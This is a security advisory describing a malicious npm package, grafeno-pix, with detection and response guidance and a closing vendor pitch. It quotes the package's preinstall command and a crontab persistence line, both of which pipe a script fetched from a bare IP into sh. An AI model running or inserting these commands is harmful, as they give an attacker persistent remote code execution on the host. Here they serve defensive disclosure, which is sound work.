grafeno-pixnpm
Advisory published Updated
grafeno-pix is a confirmed malicious npm package (MAL-2026-15507) that executes malicious code on install (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in grafeno-pix (npm)
What this malware does
[email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and executing it as the installer on npm install. The same hook installs a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh | sh) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer's host. The endpoint is an anonymous bare-IP address unrelated to any package publisher and the fetched content is unpinned and integrity-unchecked, so whatever bytes 216.126.236.46 returns run as the user performing the install, indefinitely.
The OpenSSF Package Analysis project identified 'grafeno-pix' @ 1.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for grafeno-pix (2 malicious versions).
If you installed it — respond
Remove grafeno-pix from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If grafeno-pix was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks grafeno-pix-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.